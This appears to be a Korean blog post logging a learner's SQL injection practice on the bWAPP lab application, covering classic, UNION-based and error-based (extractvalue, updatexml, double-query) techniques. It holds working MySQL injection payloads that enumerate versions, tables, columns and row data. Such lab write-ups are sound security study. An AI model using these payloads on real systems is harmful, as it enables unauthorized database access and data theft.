SQLI란?
공격자가 입력필드에 특수 SQL문을 삽입하여
DB에서 데이터를 검색하거나 중요한 데이터를 파괴하는 등의 명령을 실행할 수 있다.
(DB정보 탈취 및 인증 우회 등)
SQLI는 어떻게 해야할까?
SQLI에는 여러가지 종류가 있지만 본질적인 핵심 취약점은
SQL 쿼리에 예기치 않은 정보가 전달된다는 것이다
예를 들어, 일반 SQL 쿼리에서 studentId와 일치하는 학생을 학생 목록에서 찾고싶을 때

SELECT * FROM students WHERE studentId = 117;
를 넣으면 studentId가 117인 학생을 반환하게 된다
그럼 입력창에 117 대신 117 or 1=1을 넣으면 어떻게될까?!
SELECT * FROM students WHERE studentId = 117 or 1=1;
은 모든 학생에 대해 항상 참이므로, 학생테이블의 모든 데이터를 반환하게 된다!
(Classic SQL Injection)
' (작은따옴표)를 통해서 에러를 확인하는 방법도 있다
📖실습
1. Classic SQLI

맨 처음 들어가자마자 보이는 화면,,

암거나 검색해보자 하고 a를 쳐봤더니 url에 ?title=a&action=search 라고 뜬다!
title이라는 변수명을 알아냈다(?)

' (작은따옴표)를 입력하니까 오류가 난다!!
(" 큰따옴표는 에러안남. 즉 해당 sql문은 작은따옴표로 쓰여져있다는 걸 알 수 있음)
그리구 해당 에러를 보면 MySQL을 쓴다는 것도 알 수 있다
MySQL은 # 뒤를 다 주석처리 한다!
고래서 a' or 1=1 # 을 써봤더니

전체 영화 목록이 조회되는 것을 볼 수 있다!
2. UNION-Based SQLI
SQL에서 Union은 두개의 쿼리문에 대한 결과를 하나의 테이블로 합쳐주는 역할을 한다
Union은 첫 쿼리문 select문과 두번째 쿼리문 union select문의 컬럼 수가 같아야하는 특징이 있다
만약 컬럼수가 일치하지 않으면 오류를 출력해준다.
(원래는 데이터형도 일치해야하는데 mysql은 자동 형변환 해준다고함)
그러므로 Union select의 컬럼수를 반복적으로 증가시켜주면 컬럼의 수를 확인할 수 있다.

" ' UNION SELECT 1,2,3,4,5 # 를 써봤더니 컬럼수가 다르다고 오류가 뜬다.
계속 하나씩 늘려서

" ' UNION SELECT 1,2,3,4,5,6,7 # 를 썼더니 숫자가 출력된다!
= 2,3,4,5번째 컬럼을 조회할 수 있다는 뜻!
그럼 이제 이걸로 뭘 알아낼 수 있을까?!!!!!!!!!!!!!
① DB서버의 버전 : @@version
② DB서버가 존재하는 디렉터리 : @@datadir
③ 테이블명 : table_name
④ 데이터베이스 이름 : database()
⑤ 사용자 아이디 : user()
⑥ 관리자 권한 사용자 아이디 : system_user()
⑦ 컬럼명 : column_name
⑧ 문자열을 합쳐서 출력 : concat()
등등...
구래서 " ' UNION SELECT 1,@@version,@@datadir,database(),table_name,6,7 # 를 해봤어여
근데!

띠로리
그럼 ㅇㅣ거 빼고 일단 해봐야지!
" ' UNION SELECT 1,@@version,@@datadir,database(),5,6,7 #

잘 나옵니다요
그럼 table_name은 왜 안나올까

" ' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables #
로 하면 엄청 많이 나온다~~
-> table_name이 출력되지 않았던 이유 : 같은 테이블에서 여러줄을 뽑아야하기 때문!
어디서부터 가져올지 테이블 명시가 필요함
-> @@version이나 @@datadir은 된 이유 : 하나의 값만 주는 함수라 테이블 없어도됨
암튼 여기서

user, host라는 테이블이 있다는걸 알아냈당 ㅋ
그래서 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM user #
했더니 Error: Table 'bWAPP.user' doesn't exist 라고 나옴 ㅠ
그래서 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.tables #
했더니 이건 또 Error: Unknown column 'column_name' in 'field list' 래
이건
1. 테이블에 컬럼이 아예 없을 때
2. 컬럼 이름을 잘못 적었을 때
나오는 에러라고 한당
일단 나는 유저 정보가 알고싶었던 거니까 이거 넘기고
' union select 1, user(), 3, system_user(), 5, 6, 7 from information_schema.tables #
이걸로 조회를 해봤다!

그랬더니 user에는 영화제목이 나오고 system_user는 영화감독이름이 나온다
내가 생각한 결과는 root@localhost만 한줄 딱 나오는거였는데 왜 다 나오지,,,
UNION ALL을 해야 다 나오는거 아닌가ㅠ 흑흑..
혹시나 싶어서
' UNION SELECT 1, user(), 3, system_user(), 5, 6, 7 #
도 해봤는데 결과는 동일햇당
근데 생각해보니까 UNION 의 결과값은 원래 저게 맞는거고
다른것들이 왜 한줄만 나왔는지 모르겠은.,,
3. Error Based SQLI
Error Based SQLI는 주로 데이터베이스에 대한 정보를 획득하기 위해 사용된다.
SQL의 잘못된 문법이나 자료형 불일치 등에 의해 나타나는
데이터베이스 오류 메시지에 의존하여 수행되는 공격 기법이다.
따라서 웹 애플리케이션에서 데이터베이스 오류를 표시해주는 경우에 주로 사용할 수 있다.
공격자는 SQL 쿼리의 잘못된 문법을 사용해 고의적으로 오류를 유발시키고
해당 오류 정보를 바탕으로 데이터베이스명, 테이블, 컬럼 정보 등의 데이터베이스의 정보와 구조를 알아낼 수 있다.
일단 MySQL 환경에서 활용할 수 있는 기법은
XPath와 Double query 방식이 있다.
XPath
XPath 방법은 extractvalue() 함수를 활용하는 기법이다.
extractvlaue()는
extractvalue(xml_frag, xpath_expr)
XML과 XPath 표현식이라는 두개의 인수가 필요하고,
두 개의 인수를 통해 XML에서 XPath 표현식에 일치하는 데이터를 추출해서 반환해준다
ex)
BOOK_XML의 내용
<STORE> <BOOK> <TITLE>어린 왕자</TITLE> <AUTHOR>앙투안 드 생택쥐페리</AUTHOR> <PRICE>9,800</PRICE> </BOOK> </STORE>
▶ 예시쿼리
SELECT EXTRACTVALUE(BOOK_XML, '/STORE/BOOK/TITLE') FROM BOOK_LIST;
▶ 예시 쿼리 결과
| 어린 왕자 |
출처: https://smile-place.tistory.com/entry/ORACLE-EXTRACTVALUE-함수-EXTRACT-함수 [Smile Place:티스토리]
만약 xpath_expr이라는 두 번째 인수에 유효하지 않은 XPath 표현식이 사용된다면
ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr 인수의 값'
라는 오류가 발생한다.
예를들어 만약 xpath_expr의 인수로 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행 결과가 오류메세지에 포함된다.
이 점을 이용하여 오류기반의 SQLI 공격을 수행할 수 있다.
두번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해
concat() 함수를 이용해 콜론(:)을 앞에 추가한다. (콜론의 16진수 표기법은 0x3a)
첫번째 인수는 임의의 값 지정을 위해 rand() 함수를 사용한다.
마지막으로, 후속 쿼리를 무효화하기 위해 가장 끝에 #을 추가한다.
' AND extractvlaue(rand(), concat(0x3a, version()))#
두구두구
결과는

왜죠
알고보니 extractvlaue() 함수는 MySQL 5.1 이상의 버전에서만 유효하다고 한다,,

근데 5.0이네여
다른 방법을 써보쟈
updatexml()함수!
updatexml(null, 실행할 SQL 쿼리, null) #

...................................ㅠㅡㅠ

ㅠㅠ
Double Query
Double Query는 GROUP BY를 통한 그룹 집계의 기준 컬럼에 rand() 함수가 사용된 경우에 발생하는 오류를 활용한 기법이다.
그룹별 집계를 위한 기준 컬럼이 중복될 때 발생하는 오류로,
이 기준 컬럼이 테이블의 일반적인 컬럼인 경우에는 오류없이 SQL 쿼리가 잘 실행되지만
행이 3개 이상 존재하는 테이블에서는 오류를 뱉어낸다
두 개의 쿼리를 하나로 연결하여 오류를 유발하고, 이를 통해 정보를 추출하는 기법
일반적인 error based가 쿼리의 오류메세지를 통해 직접 정보를 얻는 것이라면,
double query는 첫 번째 쿼리는 정상 실행되고, 두 번째 쿼리에서 오류를 강제로 유발시켜 에러메세지를 분석하는 방법이다.
① 1'; SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x #

② ' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2) AS x FROM information_schema.tables GROUP BY x) #

③ 1 FROM (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x) )#

④ ' AND (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x) #

이렇게 네개 다 해봤는데,,,
일단 맨 마지막 ④는 서브쿼리에 별칭을 지정해주라길래
' AND (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x)a #
이렇게도 해봤는데

안됨,, ㅠㅡㅜ
이젠 어디서 오류가 났는지도 안알려주는구만,...........................
이것저것 해보다가 ①이랑 짬뽕해서
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)a) #
를 해봤더니

이러케 나옴!!!
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #
을 해주니까

대박~~ 나왓따
그럼 이제 다른것도 알아봐야징
- 데이터베이스 버전 추출
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, version(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

- 테이블명 추출
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='bWAPP' LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

- 컬럼명 추출
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='blog' LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

- 데이터 추출
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT concat_ws(0x3a, id) FROM bWAPP.blog LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

??? 이게 맞나
에러가 안나고 데이터가 다 출력돼버림 ㅇㅅㅇ
근데 데이터를 추출한거니까 맞나..?
암튼 이거 하다가 알아낸 사실!
UNION-Based SQLI에서 컬럼명 찾다가 포기했었는데
무식하게 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.tables # 로 해서 그런거였다
' UNION SELECT 1,2,3, column_name,5,6,7 FROM information_schema.columns # 로 하면 되려나

ㅠㅠ 감격,, 잘나와욘,,
'모의해킹' 카테고리의 다른 글
| PHP + MySQL 게시판 제작 - 로그인 & 로그아웃 (0) | 2026.02.16 |
|---|---|
| PHP + MySQL 게시판 제작 - 회원가입 (0) | 2026.02.16 |
| XSS - reflected (GET) (1) | 2025.06.15 |
| bwapp 설치하기 (0) | 2025.05.17 |
| SQL Injection (SQLI) 공격 방식 (0) | 2025.05.10 |
